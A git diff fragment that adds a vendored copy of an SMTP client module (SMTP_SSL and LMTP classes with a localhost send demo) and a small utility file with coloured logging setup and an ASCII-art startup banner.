subclass derived from SMTP that connects over an SSL + encrypted socket (to use this class you need a socket module that was + compiled with SSL support). If host is not specified, '' (the local + host) is used. If port is omitted, the standard SMTP-over-SSL port + (465) is used. local_hostname and source_address have the same meaning + as they do in the SMTP class. keyfile and certfile are also optional - + they can contain a PEM formatted private key and certificate chain file + for the SSL connection. context also optional, can contain a + SSLContext, and is an alternative to keyfile and certfile; If it is + specified both keyfile and certfile must be None. + + """ + + default_port = SMTP_SSL_PORT + + def __init__(self, host='', port=0, local_hostname=None, + keyfile=None, certfile=None, + timeout=socket._GLOBAL_DEFAULT_TIMEOUT, + source_address=None, context=None): + if context is not None and keyfile is not None: + raise ValueError("context and keyfile arguments are mutually " + "exclusive") + if context is not None and certfile is not None: + raise ValueError("context and certfile arguments are mutually " + "exclusive") + if keyfile is not None or certfile is not None: + import warnings + warnings.warn("keyfile and certfile are deprecated, use a" + "custom context instead", DeprecationWarning, 2) + self.keyfile = keyfile + self.certfile = certfile + if context is None: + context = ssl._create_stdlib_context(certfile=certfile, + keyfile=keyfile) + self.context = context + SMTP.__init__(self, host, port, local_hostname, timeout, + source_address) + + def _get_socket(self, host, port, timeout): + if self.debuglevel > 0: + self._print_debug('connect:', (host, port)) + new_socket = socket.create_connection((host, port), timeout, + self.source_address) + new_socket = self.context.wrap_socket(new_socket, + server_hostname=self._host) + return new_socket + + + __all__.append("SMTP_SSL") + +# +# LMTP extension +# +LMTP_PORT = 2003 + + +class LMTP(SMTP): + """LMTP - Local Mail Transfer Protocol + + The LMTP protocol, which is very similar to ESMTP, is heavily based + on the standard SMTP client. It's common to use Unix sockets for + LMTP, so our connect() method must support that as well as a regular + host:port server. local_hostname and source_address have the same + meaning as they do in the SMTP class. To specify a Unix socket, + you must use an absolute path as the host, starting with a '/'. + + Authentication is supported, using the regular SMTP mechanism. When + using a Unix socket, LMTP generally don't support or require any + authentication, but your mileage might vary.""" + + ehlo_msg = "lhlo" + + def __init__(self, host='', port=LMTP_PORT, local_hostname=None, + source_address=None): + """Initialize a new instance.""" + SMTP.__init__(self, host, port, local_hostname=local_hostname, + source_address=source_address) + + def connect(self, host='localhost', port=0, source_address=None): + """Connect to the LMTP daemon, on either a Unix or a TCP socket.""" + if host[0] != '/': + return SMTP.connect(self, host, port, source_address=source_address) + + # Handle Unix-domain sockets. + try: + self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + self.file = None + self.sock.connect(host) + except OSError: + if self.debuglevel > 0: + self._print_debug('connect fail:', host) + if self.sock: + self.sock.close() + self.sock = None + raise + (code, msg) = self.getreply() + if self.debuglevel > 0: + self._print_debug('connect:', msg) + return (code, msg) + + +# Test the sendmail method, which tests most of the others. +# Note: This always sends to localhost. +if __name__ == '__main__': + def prompt(prompt): + sys.stdout.write(prompt + ": ") + sys.stdout.flush() + return sys.stdin.readline().strip() + + + fromaddr = prompt("From") + toaddrs = prompt("To").split(',') + print("Enter message, end with ^D:") + msg = '' + while 1: + line = sys.stdin.readline() + if not line: + break + msg = msg + line + print("Message length is %d" % len(msg)) + + server = SMTP('localhost') + server.set_debuglevel(1) + server.sendmail(fromaddr, toaddrs, msg) + server.quit() diff --git a/util/util.py b/util/util.py new file mode 100755 index 0000000..c540ab8 --- /dev/null +++ b/util/util.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +import logging +import coloredlogs + + +def init_log(filename): + """ + :param filename + :return logger + """ + # formattler = '%(asctime)s %(pathname)-8s:%(lineno)d %(levelname)-8s %(message)s' + formattler = '%(levelname)-8s %(message)s' + fmt = logging.Formatter(formattler) + logger = logging.getLogger() + coloredlogs.install(level=logging.DEBUG, fmt=formattler) + file_handler = logging.FileHandler(filename) + file_handler.setLevel(logging.DEBUG) + file_handler.setFormatter(fmt) + logger.addHandler(file_handler) + try: + logging.getLogger("scapy").setLevel(logging.WARNING) + logging.getLogger("matplotlib").setLevel(logging.WARNING) + except Exception as e: + pass + return logger + + + +def banner(): + my_banner = ("""%s + o__ __o o__ __o o + /v v\ /v v\ _<|>_ + /> <\ /> <\ + _\o____ \o_ __o o__ __o o__ __o \o o \o__ __o o__ __o/ + \_\__o__ | v\ /v v\ /v v\ |>_ <|> | |> /v | + \ / \ <\ /> <\ /> <\ | / \ / \ / \ /> / \ + \ / \o/ / \ / \ / \o/ \o/ \o/ \ \o/ + o o | o o o o o | | | | o | + <\__ __/> / \ __/> <\__ __/> <\__ __/> / \ / \ / \ / \ <\__ < > + \o/ | + | o__ o + / \ <\__ __/> \ + %s%s + # Version: 1.1%s + """ % ('\033[91m', '\033[0m', '\033[93m', '\033[0m')) + print(my_banner) + # logging.info(my_banner) \ No newline at end of file